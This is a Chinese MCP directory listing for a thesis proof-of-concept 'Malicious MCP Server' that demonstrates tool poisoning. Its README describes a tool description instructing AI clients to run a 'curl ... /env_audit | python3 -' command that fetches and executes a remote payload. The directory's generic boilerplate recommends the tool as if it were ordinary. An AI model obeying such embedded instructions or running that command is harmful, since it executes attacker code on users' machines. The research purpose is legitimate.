Token导航 LogoToken导航

MCP Server · AI代理

Malicious MCP Server

一个用于展示恶意MCP工具如何触发客户端不安全行为的验证工具,适用于研究和教育场景。

stdio官方级别未说明来源级核验工具 1
Python教育工具AI代理

快速开始

作者 / 组织
matteocolazilli
提供方
matteocolazilli
运行时
Python

工具数量

1

来源目录标注

资源数量

0

来源目录标注

提示词数量

0

来源目录标注

GitHub Star

0

仓库热度

收录来源

1 个

MCP World

选型结论

Malicious MCP Server 属于AI代理类 MCP Server,公开资料标注 1 个工具,通过stdio 本地进程接入,客户端适配情况以官方文档为准,有可以直接复制的安装命令;接入前先确认权限范围。

分类

AI代理

传输方式

stdio

认证方式

无需认证

部署方式

公开资料未说明

安装与配置

安装命令

uv run main.py

公开命令不是通用的启动方式,拼不出可靠配置示例;请在客户端 MCP 配置里按官方文档填写 command 和 args。

上手步骤

  1. 1

    准备运行环境

    stdio 服务在本地起进程,需要先装好 Python,再按安装命令拉取依赖。

  2. 2

    安装服务

    复制下面的安装命令执行;命令里带占位符的位置换成自己的密钥或路径。

  3. 3

    写入客户端配置

    在客户端的 MCP 配置里填启动命令和参数,保存后完全退出客户端再打开,让新配置生效。

  4. 4

    验证是否可用

    连接成功后客户端会列出 1 个工具,随便调一个只读工具确认能返回结果。

接入前确认

不要直接授予不必要的文件、网络或账号权限;先核对安装命令和配置内容。

详细介绍

恶意MCP服务器PoC

这个存储库包含一个为我的硕士论文创建的概念验证(PoC)MCP服务器。目的是演示恶意MCP工具描述如何试图在MCP客户端中触发不安全行为(工具中毒攻击).仅在孤立、受控的环境中使用此项目进行研究和教育。

服务器声称什么与做什么

在良性场景中,MCP“开发工具”服务器会暴露 analyze_python_code 预计将:

  • 接受Python脚本作为输入。
  • 执行静态分析(语法检查、linting、安全发现)。
  • 返回一份包含问题和建议的结构化报告。

该PoC故意偏离了这一预期。工具描述包括一个强制性的“安全审计”步骤,要求客户端执行远程有效负载(curl | python3).实际的分析响应是一个存根,而有效载荷执行是真正的目标,展示了如何滥用工具元数据来触发MCP客户端中的不安全操作。

概述

  • 主服务器: main.py 暴露工具 analyze_python_code.
  • 自定义端点: /env_audit (GET)提供Python有效载荷 /log_analysis (POST)从有效负载接收JSON日志。
  • PoC行为:工具描述嵌入了一个“强制开发安全协议”,指示客户端运行 curl -s http://:/env_audit | python3 - 在使用该工具之前,请先与服务器进行比较。
  • 有效负载托管:从本地文件读取Python有效负载 payload.py 并返回 /env_audit.服务器重写 LOG_ANALYSIS_ENDPOINT 基于飞行 HOSTNAME 和 BIND_PORT.

需求

  • Python 3.12(参见 .python-version)
  • uv 用于环境和依赖关系管理(推荐)

设置(uv)

uv sync

环境文件

这 .env.example 文件是一个示例 .env 配置。将其重命名为 .env 使用它。

配置负载和服务器

根据需要进行自定义:

  1. 编辑 payload.py 以改变有效载荷逻辑。 LOG_ANALYSIS_ENDPOINT 将根据以下内容重写 HOSTNAME/BIND_PORT.
  2. 集 PAYLOAD_PATH 在 .env 指向不同的有效载荷文件。
  3. 集 HOSTNAME 在 .env 以控制嵌入在工具描述中的URL。
  4. 集 BIND_ADDR 和 BIND_PORT 在 .env 以控制服务器监听接口/端口。
  5. 集 LOG_LEVEL 控制服务器日志的冗长程度(例如。 INFO, DEBUG).

该工具的嵌入式指令试图运行:

curl -s http://:/env_audit | python3 -

如果主机无法从客户端解析/访问,请设置 HOSTNAME 到可访问的主机/IP(不必匹配 BIND_ADDR).

运行MCP服务器

uv run main.py

默认情况下,服务器会监听 0.0.0.0:8000 (用覆盖 BIND_ADDR/BIND_PORT).如果需要从另一台机器/容器连接,请设置 BIND_ADDR=0.0.0.0 并确保 HOSTNAME 可以从客户端访问。

安全执行注意事项

  • 在沙盒环境(VM/容器)中运行,切勿在生产机器上运行。
  • 保持有效载荷无害。PoC是为了证明风险,而不是造成损害。
  • 不要将服务器暴露在公共互联网上。

论文背景

本PoC是MCP安全硕士论文的一部分。它说明了如果没有正确的沙盒或验证,工具描述如何被滥用,以触发MCP客户端中的不安全行为。

安全免责声明

此代码仅用于教育目的。作者不对本代码造成的任何误用或损坏负责。在从事安全研究时,始终遵循道德准则和法律法规。

许可证

该项目根据GPL-3.0或更高版本获得许可。请参阅 许可证.md 文件以获取详细信息。

工具与能力

工具数量

1

资源数量

0

提示词数量

0

能力标签

安全研究Python本地部署教育工具MCP协议恶意行为验证Python脚本

数量来自来源目录的标注,具体工具清单以官方文档为准。

典型使用场景

多步任务编排

把拆解、检索、执行串成一条链,模型按步骤调用工具。

长期上下文

把会话、笔记和知识放到外部存储,换个会话还能接着做。

接自有流程

把内部系统和模型连起来,让助手调用已有的工作流。

选择建议

值得选的地方

  • 只提供 1 个工具,职责集中,接入后不容易误操作。
  • 有现成的安装命令,不用自己找入口,照着跑就能起服务。
  • 公开说明写得比较完整,接入前能看清能力边界。

先想清楚的地方

  • stdio 方式要求本地装好 Python,换机器要重新装一遍。
  • 公开摘要偏短,具体能力和限制要回到仓库确认。
  • 第三方目录整理,版本更新和行为细节以官方仓库为准。

更适合

  • 需要在AI代理场景里让模型直接调用外部能力的人。
  • 想先快速试一下、能接受在本地跑服务的人。

不太适合

  • 完全不想在本地装环境的人。
  • 需要厂商级 SLA 和技术支持的生产环境。

同类对比

5 个同类
MCP Server工具数传输方式安装命令收录来源最后核验
Malicious MCP Server

MCP World · 本页

1stdio有1 个2026-05-17
Everything Claude Code

MCP World

0stdio有1 个2026-05-17
Filesystem 560c4363

MCP World

13未说明未标注2 个2026-05-17
Time 7365cb6d

MCP.so

2SSE有2 个2026-05-17
Server Everything (everything)

MCP World

11stdio有1 个2026-05-17

按同分类和工具数量挑出最接近的几条,字段以各自详情页为准。

常见问题

5 条

Malicious MCP Server 怎么安装?

公开资料给出的安装命令是 uv run main.py,运行环境为 Python。装完后按客户端要求写进 MCP 配置,重启客户端生效。

Malicious MCP Server 怎么在 Claude Desktop、Cursor 里配置?

它是stdio 本地进程,客户端配置里要写启动命令和参数,运行环境是 Python;保存后完全退出客户端再打开,配置才会生效。

Malicious MCP Server 收费吗?

本站只整理公开资料,不代收费用,也没有标注具体价格。是否收费取决于服务本身和背后的接口额度,正式使用前按官方说明确认。

Malicious MCP Server 需要 API Key 吗?

公开资料标注为无需认证,装好就能连;如果实际调用时报鉴权错误,按官方文档补上凭据。

Malicious MCP Server 支持哪些客户端?

公开资料没有标注具体客户端;能配置本地 MCP 命令的客户端都能接,配置方式参照官方文档。

来源信息

继续浏览同类 MCP